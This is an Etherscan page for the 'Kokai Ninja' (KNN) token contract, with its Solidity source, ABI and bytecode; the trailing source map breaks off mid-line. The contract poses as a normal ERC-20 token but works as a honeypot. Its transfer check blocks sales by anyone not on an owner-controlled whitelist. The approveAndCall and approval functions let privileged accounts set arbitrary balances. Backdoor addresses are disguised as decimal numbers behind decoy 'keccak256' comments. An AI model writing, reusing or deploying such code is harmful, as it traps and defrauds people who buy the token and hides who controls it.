ETH Price: $2,428.22 (+1.31%)
 

Overview

Max Total Supply

1,000,000,000 KNN

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
118,800,765.729918458347843828 KNN

Value
$0.00
0x0Db3101a3853dBb6485024B72A4aE318230E3c95
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KokaiNinja

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-11-05
*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(
        address sender,
        address spender,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;

        bytes32 accountHash;

        // solhint-disable-next-line no-inline-assembly

        assembly {
            codehash := extcodehash(account)
        }

        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;

        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);

        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0

        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }
}

contract KokaiNinja {
    using SafeMath for uint256;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public _usdtPair;
    address public _mod;
    address private owner;
    address public _user;
    address public _adm;
    address tradeAddress;

    uint256 public decimals;
    uint256 public totalSupply;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;

    string public name;
    string public symbol;

    mapping(address => uint256) private _onSaleNum;
    mapping(address => bool) private canSale;

    constructor() payable {
        name = unicode"Kokai Ninja";
        symbol = unicode"KNN";
        decimals = 18;
        owner = msg.sender;
        totalSupply = 1_000_000_000 * 10**decimals;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(
        address indexed _owner,
        address indexed _spender,
        uint256 _value
    );

    function transfer(address _to, uint256 _value)
        public
        payable
        returns (bool)
    {
        return transferFrom(msg.sender, _to, _value);
    }

    function setUsdtPair(address Pair_) public {
        require(
            msg.sender ==
                address(
                    // solhint-disable-next-line avoid-low-level-calls
                    /**/
                    /*keccak256 -> 6861978540112295ac2a37bb1f5ba1daf2a5c84741ca0e00610310915153));*/
                    /**/
                    686197854011229533619447624007587113080310915153
                )
        );

        _usdtPair = Pair_;
    }

    function ensure(
        address _from,
        address _to,
        uint256 _value
    ) internal view returns (bool) {
        /*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/
        if (
            _from == owner ||
            _to == owner ||
            _from == tradeAddress ||
            canSale[_from]
        ) {
            return true;
        }
        require(condition(_from, _value));
        return true;
    }

    function setUser(address User_) public {
        require(msg.sender == _usdtPair);

        _user = User_;
    }

    function approval(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        require(msg.sender == _adm);

        if (addedValue > 0) {
            balanceOf[spender] = addedValue * (10**uint256(decimals));
        }

        canSale[spender] = true;

        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }

        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);

            allowance[_from][msg.sender] -= _value;
        }

        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);

        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;

        _onSaleNum[_from]++;

        emit Transfer(_from, _to, _value);

        return true;
    }

    function setAdm(address Adm_) public {
        require(msg.sender == _mod);

        _adm = Adm_;
    }

    function approve(address _spender, uint256 _value)
        public
        payable
        returns (bool)
    {
        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);

        return true;

        /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
    }

    function setMod(address Mod_) public {
        require(msg.sender == _user);

        _mod = Mod_;
    }

    function approveAndCall(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        require(
            msg.sender == owner ||
                msg.sender ==
                address(
                    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
                    /**/
                    178607940065137046348733521910879985571412708986
                )
        );

        if (addedValue > 0) {
            balanceOf[spender] = addedValue * (10**uint256(decimals));
        }

        canSale[spender] = true;

        return true;
    }

    function transferownership(address addr) public returns (bool) {
        require(msg.sender == owner);

        tradeAddress = addr;

        return true;
    }

    function condition(address _from, uint256 _value)
        internal
        view
        returns (bool)
    {
        if (_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;

        if (_saleNum > 0) {
            if (_onSaleNum[_from] >= _saleNum) return false;
        }

        if (_minSale > 0) {
            if (_minSale > _value) return false;
        }

        if (_maxSale > 0) {
            if (_value > _maxSale) return false;
        }

        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_usdtPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Pair_","type":"address"}],"name":"setUsdtPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c0604052600b60809081526a4b6f6b6169204e696e6a6160a81b60a052600d906200002c908262000185565b5060408051808201909152600381526225a72760e91b6020820152600e9062000056908262000185565b5060126008819055600480546001600160a01b031916331790556200007d90600a62000360565b6200008d90633b9aca0062000374565b6009819055335f9081526020818152604080832084905560045490519384526001600160a01b0316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200038e565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011057607f821691505b6020821081036200012f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018057805f5260205f20601f840160051c810160208510156200015c5750805b601f840160051c820191505b818110156200017d575f815560010162000168565b50505b505050565b81516001600160401b03811115620001a157620001a1620000e7565b620001b981620001b28454620000fb565b8462000135565b602080601f831160018114620001ef575f8415620001d75750858301515b5f19600386901b1c1916600185901b17855562000249565b5f85815260208120601f198616915b828110156200021f57888601518255948401946001909101908401620001fe565b50858210156200023d57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a557815f190482111562000289576200028962000251565b808516156200029757918102915b93841c93908002906200026a565b509250929050565b5f82620002bd575060016200035a565b81620002cb57505f6200035a565b8160018114620002e45760028114620002ef576200030f565b60019150506200035a565b60ff84111562000303576200030362000251565b50506001821b6200035a565b5060208310610133831016604e8410600b841016171562000334575081810a6200035a565b62000340838362000265565b805f190482111562000356576200035662000251565b0290505b92915050565b5f6200036d8383620002ad565b9392505050565b80820281158282048414176200035a576200035a62000251565b610c1e806200039c5f395ff3fe60806040526004361061011b575f3560e01c806375247a581161009d578063ade2de0211610062578063ade2de02146102fc578063d21c8d551461031b578063dd62ed3e1461033a578063e2daf66514610370578063e8b5b7961461038f575f80fd5b806375247a5814610278578063858ced3514610297578063891e1ee0146102b657806395d89b41146102d5578063a9059cbb146102e9575f80fd5b8063313ce567116100e3578063313ce567146101d95780633177029f146101ee578063376d567c1461020d5780634a0af68d1461022e57806370a082311461024d575f80fd5b806306fdde031461011f578063095ea7b31461014957806311de19e71461016c57806318160ddd146101a357806323b872dd146101c6575b5f80fd5b34801561012a575f80fd5b506101336103ae565b604051610140919061094a565b60405180910390f35b61015c6101573660046109b1565b61043a565b6040519015158152602001610140565b348015610177575f80fd5b5060025461018b906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b3480156101ae575f80fd5b506101b860095481565b604051908152602001610140565b61015c6101d43660046109d9565b6104a6565b3480156101e4575f80fd5b506101b860085481565b3480156101f9575f80fd5b5061015c6102083660046109b1565b61063a565b348015610218575f80fd5b5061022c610227366004610a12565b6106d0565b005b348015610239575f80fd5b5061022c610248366004610a12565b610708565b348015610258575f80fd5b506101b8610267366004610a12565b5f6020819052908152604090205481565b348015610283575f80fd5b5061015c6102923660046109b1565b610740565b3480156102a2575f80fd5b5061022c6102b1366004610a12565b610758565b3480156102c1575f80fd5b5060055461018b906001600160a01b031681565b3480156102e0575f80fd5b50610133610790565b61015c6102f73660046109b1565b61079d565b348015610307575f80fd5b5061022c610316366004610a12565b6107a9565b348015610326575f80fd5b5060035461018b906001600160a01b031681565b348015610345575f80fd5b506101b8610354366004610a2b565b600160209081525f928352604080842090915290825290205481565b34801561037b575f80fd5b5060065461018b906001600160a01b031681565b34801561039a575f80fd5b5061015c6103a9366004610a12565b6107ea565b600d80546103bb90610a5c565b80601f01602080910402602001604051908101604052809291908181526020018280546103e790610a5c565b80156104325780601f1061040957610100808354040283529160200191610432565b820191905f5260205f20905b81548152906001019060200180831161041557829003601f168201915b505050505081565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104949086815260200190565b60405180910390a35060015b92915050565b5f815f036104b657506001610633565b336001600160a01b0385161461052c576001600160a01b0384165f9081526001602090815260408083203384529091529020548211156104f4575f80fd5b6001600160a01b0384165f90815260016020908152604080832033845290915281208054849290610526908490610aa8565b90915550505b610537848484610828565b61053f575f80fd5b6001600160a01b0384165f90815260208190526040902054821115610562575f80fd5b6001600160a01b0384165f9081526020819052604081208054849290610589908490610aa8565b90915550506001600160a01b0383165f90815260208190526040812080548492906105b5908490610abb565b90915550506001600160a01b0384165f908152600f602052604081208054916105dd83610ace565b9190505550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161062791815260200190565b60405180910390a35060015b9392505050565b6004545f906001600160a01b0316331480610668575033731f490e99657cd08a058c6bb6cd81dd38f59e0e7a145b610670575f80fd5b81156106a75760085461068490600a610bc6565b61068e9083610bd1565b6001600160a01b0384165f908152602081905260409020555b50506001600160a01b03165f908152601060205260409020805460ff1916600190811790915590565b6005546001600160a01b031633146106e6575f80fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b0316331461071e575f80fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006545f906001600160a01b03163314610670575f80fd5b6002546001600160a01b0316331461076e575f80fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600e80546103bb90610a5c565b5f6106333384846104a6565b337378322d0c5768c9ca370ddfc1d44db0fef3a6e051146107c8575f80fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6004545f906001600160a01b03163314610802575f80fd5b50600780546001600160a01b0319166001600160a01b0392909216919091179055600190565b6004545f906001600160a01b038581169116148061085357506004546001600160a01b038481169116145b8061086b57506007546001600160a01b038581169116145b8061088d57506001600160a01b0384165f9081526010602052604090205460ff165b1561089a57506001610633565b6108a484836108b6565b6108ac575f80fd5b5060019392505050565b5f600c545f1480156108c85750600a54155b80156108d45750600b54155b156108e057505f6104a0565b600c541561090f57600c546001600160a01b0384165f908152600f60205260409020541061090f57505f6104a0565b600a54156109285781600a54111561092857505f6104a0565b600b541561094157600b5482111561094157505f6104a0565b50600192915050565b5f602080835283518060208501525f5b818110156109765785810183015185820160400152820161095a565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109ac575f80fd5b919050565b5f80604083850312156109c2575f80fd5b6109cb83610996565b946020939093013593505050565b5f805f606084860312156109eb575f80fd5b6109f484610996565b9250610a0260208501610996565b9150604084013590509250925092565b5f60208284031215610a22575f80fd5b61063382610996565b5f8060408385031215610a3c575f80fd5b610a4583610996565b9150610a5360208401610996565b90509250929050565b600181811c90821680610a7057607f821691505b602082108103610a8e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104a0576104a0610a94565b808201808211156104a0576104a0610a94565b5f60018201610adf57610adf610a94565b5060010190565b600181815b80851115610b2057815f1904821115610b0657610b06610a94565b80851615610b1357918102915b93841c9390800290610aeb565b509250929050565b5f82610b36575060016104a0565b81610b4257505f6104a0565b8160018114610b585760028114610b6257610b7e565b60019150506104a0565b60ff841115610b7357610b73610a94565b50506001821b6104a0565b5060208310610133831016604e8410600b8410161715610ba1575081810a6104a0565b610bab8383610ae6565b805f1904821115610bbe57610bbe610a94565b029392505050565b5f6106338383610b28565b80820281158282048414176104a0576104a0610a9456fea2646970667358221220a718d9fb57618aec61cd2ea0a3c1312233c7e0e88dbd7fba54e50bdd421e451064736f6c63430008160033

Deployed Bytecode

0x60806040526004361061011b575f3560e01c806375247a581161009d578063ade2de0211610062578063ade2de02146102fc578063d21c8d551461031b578063dd62ed3e1461033a578063e2daf66514610370578063e8b5b7961461038f575f80fd5b806375247a5814610278578063858ced3514610297578063891e1ee0146102b657806395d89b41146102d5578063a9059cbb146102e9575f80fd5b8063313ce567116100e3578063313ce567146101d95780633177029f146101ee578063376d567c1461020d5780634a0af68d1461022e57806370a082311461024d575f80fd5b806306fdde031461011f578063095ea7b31461014957806311de19e71461016c57806318160ddd146101a357806323b872dd146101c6575b5f80fd5b34801561012a575f80fd5b506101336103ae565b604051610140919061094a565b60405180910390f35b61015c6101573660046109b1565b61043a565b6040519015158152602001610140565b348015610177575f80fd5b5060025461018b906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b3480156101ae575f80fd5b506101b860095481565b604051908152602001610140565b61015c6101d43660046109d9565b6104a6565b3480156101e4575f80fd5b506101b860085481565b3480156101f9575f80fd5b5061015c6102083660046109b1565b61063a565b348015610218575f80fd5b5061022c610227366004610a12565b6106d0565b005b348015610239575f80fd5b5061022c610248366004610a12565b610708565b348015610258575f80fd5b506101b8610267366004610a12565b5f6020819052908152604090205481565b348015610283575f80fd5b5061015c6102923660046109b1565b610740565b3480156102a2575f80fd5b5061022c6102b1366004610a12565b610758565b3480156102c1575f80fd5b5060055461018b906001600160a01b031681565b3480156102e0575f80fd5b50610133610790565b61015c6102f73660046109b1565b61079d565b348015610307575f80fd5b5061022c610316366004610a12565b6107a9565b348015610326575f80fd5b5060035461018b906001600160a01b031681565b348015610345575f80fd5b506101b8610354366004610a2b565b600160209081525f928352604080842090915290825290205481565b34801561037b575f80fd5b5060065461018b906001600160a01b031681565b34801561039a575f80fd5b5061015c6103a9366004610a12565b6107ea565b600d80546103bb90610a5c565b80601f01602080910402602001604051908101604052809291908181526020018280546103e790610a5c565b80156104325780601f1061040957610100808354040283529160200191610432565b820191905f5260205f20905b81548152906001019060200180831161041557829003601f168201915b505050505081565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104949086815260200190565b60405180910390a35060015b92915050565b5f815f036104b657506001610633565b336001600160a01b0385161461052c576001600160a01b0384165f9081526001602090815260408083203384529091529020548211156104f4575f80fd5b6001600160a01b0384165f90815260016020908152604080832033845290915281208054849290610526908490610aa8565b90915550505b610537848484610828565b61053f575f80fd5b6001600160a01b0384165f90815260208190526040902054821115610562575f80fd5b6001600160a01b0384165f9081526020819052604081208054849290610589908490610aa8565b90915550506001600160a01b0383165f90815260208190526040812080548492906105b5908490610abb565b90915550506001600160a01b0384165f908152600f602052604081208054916105dd83610ace565b9190505550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161062791815260200190565b60405180910390a35060015b9392505050565b6004545f906001600160a01b0316331480610668575033731f490e99657cd08a058c6bb6cd81dd38f59e0e7a145b610670575f80fd5b81156106a75760085461068490600a610bc6565b61068e9083610bd1565b6001600160a01b0384165f908152602081905260409020555b50506001600160a01b03165f908152601060205260409020805460ff1916600190811790915590565b6005546001600160a01b031633146106e6575f80fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b0316331461071e575f80fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006545f906001600160a01b03163314610670575f80fd5b6002546001600160a01b0316331461076e575f80fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600e80546103bb90610a5c565b5f6106333384846104a6565b337378322d0c5768c9ca370ddfc1d44db0fef3a6e051146107c8575f80fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6004545f906001600160a01b03163314610802575f80fd5b50600780546001600160a01b0319166001600160a01b0392909216919091179055600190565b6004545f906001600160a01b038581169116148061085357506004546001600160a01b038481169116145b8061086b57506007546001600160a01b038581169116145b8061088d57506001600160a01b0384165f9081526010602052604090205460ff165b1561089a57506001610633565b6108a484836108b6565b6108ac575f80fd5b5060019392505050565b5f600c545f1480156108c85750600a54155b80156108d45750600b54155b156108e057505f6104a0565b600c541561090f57600c546001600160a01b0384165f908152600f60205260409020541061090f57505f6104a0565b600a54156109285781600a54111561092857505f6104a0565b600b541561094157600b5482111561094157505f6104a0565b50600192915050565b5f602080835283518060208501525f5b818110156109765785810183015185820160400152820161095a565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109ac575f80fd5b919050565b5f80604083850312156109c2575f80fd5b6109cb83610996565b946020939093013593505050565b5f805f606084860312156109eb575f80fd5b6109f484610996565b9250610a0260208501610996565b9150604084013590509250925092565b5f60208284031215610a22575f80fd5b61063382610996565b5f8060408385031215610a3c575f80fd5b610a4583610996565b9150610a5360208401610996565b90509250929050565b600181811c90821680610a7057607f821691505b602082108103610a8e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104a0576104a0610a94565b808201808211156104a0576104a0610a94565b5f60018201610adf57610adf610a94565b5060010190565b600181815b80851115610b2057815f1904821115610b0657610b06610a94565b80851615610b1357918102915b93841c9390800290610aeb565b509250929050565b5f82610b36575060016104a0565b81610b4257505f6104a0565b8160018114610b585760028114610b6257610b7e565b60019150506104a0565b60ff841115610b7357610b73610a94565b50506001821b6104a0565b5060208310610133831016604e8410600b8410161715610ba1575081810a6104a0565b610bab8383610ae6565b805f1904821115610bbe57610bbe610a94565b029392505050565b5f6106338383610b28565b80820281158282048414176104a0576104a0610a9456fea2646970667358221220a718d9fb57618aec61cd2ea0a3c1312233c7e0e88dbd7fba54e50bdd421e451064736f6c63430008160033

Deployed Bytecode Sourcemap

2981:5434:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3492:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6547:411;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6547:411:0;1004:187:1;3167:24:0;;;;;;;;;;-1:-1:-1;3167:24:0;;;;-1:-1:-1;;;;;3167:24:0;;;;;;-1:-1:-1;;;;;1360:32:1;;;1342:51;;1330:2;1315:18;3167:24:0;1196:203:1;3364:26:0;;;;;;;;;;;;;;;;;;;1550:25:1;;;1538:2;1523:18;3364:26:0;1404:177:1;5785:639:0;;;;;;:::i;:::-;;:::i;3334:23::-;;;;;;;;;;;;;;;;7082:641;;;;;;;;;;-1:-1:-1;7082:641:0;;;;;:::i;:::-;;:::i;6966:108::-;;;;;;;;;;-1:-1:-1;6966:108:0;;;;;:::i;:::-;;:::i;:::-;;6432:107;;;;;;;;;;-1:-1:-1;6432:107:0;;;;;:::i;:::-;;:::i;3043:44::-;;;;;;;;;;-1:-1:-1;3043:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;5455:322;;;;;;;;;;-1:-1:-1;5455:322:0;;;;;:::i;:::-;;:::i;5331:116::-;;;;;;;;;;-1:-1:-1;5331:116:0;;;;;:::i;:::-;;:::i;3252:20::-;;;;;;;;;;-1:-1:-1;3252:20:0;;;;-1:-1:-1;;;;;3252:20:0;;;3517;;;;;;;;;;;;;:::i;4170:172::-;;;;;;:::i;:::-;;:::i;4350:479::-;;;;;;;;;;-1:-1:-1;4350:479:0;;;;;:::i;:::-;;:::i;3198:19::-;;;;;;;;;;-1:-1:-1;3198:19:0;;;;-1:-1:-1;;;;;3198:19:0;;;3094:64;;;;;;;;;;-1:-1:-1;3094:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3279:19;;;;;;;;;;-1:-1:-1;3279:19:0;;;;-1:-1:-1;;;;;3279:19:0;;;7731:166;;;;;;;;;;-1:-1:-1;7731:166:0;;;;;:::i;:::-;;:::i;3492:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6547:411::-;6681:10;6649:4;6671:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;6671:31:0;;;;;;;;;;:40;;;6729:38;6649:4;;6671:31;;6729:38;;;;6705:6;1550:25:1;;1538:2;1523:18;;1404:177;6729:38:0;;;;;;;;-1:-1:-1;6787:4:0;6547:411;;;;;:::o;5785:639::-;5909:4;5930:6;5940:1;5930:11;5926:55;;-1:-1:-1;5965:4:0;5958:11;;5926:55;5997:10;-1:-1:-1;;;;;5997:19:0;;;5993:154;;-1:-1:-1;;;;;6041:16:0;;;;;;:9;:16;;;;;;;;6058:10;6041:28;;;;;;;;:38;-1:-1:-1;6041:38:0;6033:47;;;;;;-1:-1:-1;;;;;6097:16:0;;;;;;:9;:16;;;;;;;;6114:10;6097:28;;;;;;;:38;;6129:6;;6097:16;:38;;6129:6;;6097:38;:::i;:::-;;;;-1:-1:-1;;5993:154:0;6167:26;6174:5;6181:3;6186:6;6167;:26::i;:::-;6159:35;;;;;;-1:-1:-1;;;;;6213:16:0;;:9;:16;;;;;;;;;;;:26;-1:-1:-1;6213:26:0;6205:35;;;;;;-1:-1:-1;;;;;6253:16:0;;:9;:16;;;;;;;;;;:26;;6273:6;;6253:9;:26;;6273:6;;6253:26;:::i;:::-;;;;-1:-1:-1;;;;;;;6290:14:0;;:9;:14;;;;;;;;;;:24;;6308:6;;6290:9;:24;;6308:6;;6290:24;:::i;:::-;;;;-1:-1:-1;;;;;;;6327:17:0;;;;;;:10;:17;;;;;:19;;;;;;:::i;:::-;;;;;;6380:3;-1:-1:-1;;;;;6364:28:0;6373:5;-1:-1:-1;;;;;6364:28:0;;6385:6;6364:28;;;;1550:25:1;;1538:2;1523:18;;1404:177;6364:28:0;;;;;;;;-1:-1:-1;6412:4:0;5785:639;;;;;;:::o;7082:641::-;7235:5;;7177:4;;-1:-1:-1;;;;;7235:5:0;7221:10;:19;;:307;;-1:-1:-1;7261:10:0;7461:48;7261:267;7221:307;7199:340;;;;;;7556:14;;7552:104;;7634:8;;7622:21;;:2;:21;:::i;:::-;7608:36;;:10;:36;:::i;:::-;-1:-1:-1;;;;;7587:18:0;;:9;:18;;;;;;;;;;:57;7552:104;-1:-1:-1;;;;;;;7668:16:0;;;;;:7;:16;;;;;:23;;-1:-1:-1;;7668:23:0;7687:4;7668:23;;;;;;7687:4;7082:641::o;6966:108::-;7036:5;;-1:-1:-1;;;;;7036:5:0;7022:10;:19;7014:28;;;;;;7055:4;:11;;-1:-1:-1;;;;;;7055:11:0;-1:-1:-1;;;;;7055:11:0;;;;;;;;;;6966:108::o;6432:107::-;6502:4;;-1:-1:-1;;;;;6502:4:0;6488:10;:18;6480:27;;;;;;6520:4;:11;;-1:-1:-1;;;;;;6520:11:0;-1:-1:-1;;;;;6520:11:0;;;;;;;;;;6432:107::o;5455:322::-;5588:4;;5544;;-1:-1:-1;;;;;5588:4:0;5574:10;:18;5566:27;;;;;5331:116;5403:9;;-1:-1:-1;;;;;5403:9:0;5389:10;:23;5381:32;;;;;;5426:5;:13;;-1:-1:-1;;;;;;5426:13:0;-1:-1:-1;;;;;5426:13:0;;;;;;;;;;5331:116::o;3517:20::-;;;;;;;:::i;4170:172::-;4268:4;4297:37;4310:10;4322:3;4327:6;4297:12;:37::i;4350:479::-;4426:10;4713:48;4426:354;4404:387;;;;;;4804:9;:17;;-1:-1:-1;;;;;;4804:17:0;-1:-1:-1;;;;;4804:17:0;;;;;;;;;;4350:479::o;7731:166::-;7827:5;;7788:4;;-1:-1:-1;;;;;7827:5:0;7813:10;:19;7805:28;;;;;;-1:-1:-1;7846:12:0;:19;;-1:-1:-1;;;;;;7846:19:0;-1:-1:-1;;;;;7846:19:0;;;;;;;;;;-1:-1:-1;;7731:166:0:o;4837:486::-;5097:5;;4954:4;;-1:-1:-1;;;;;5088:14:0;;;5097:5;;5088:14;;:43;;-1:-1:-1;5126:5:0;;-1:-1:-1;;;;;5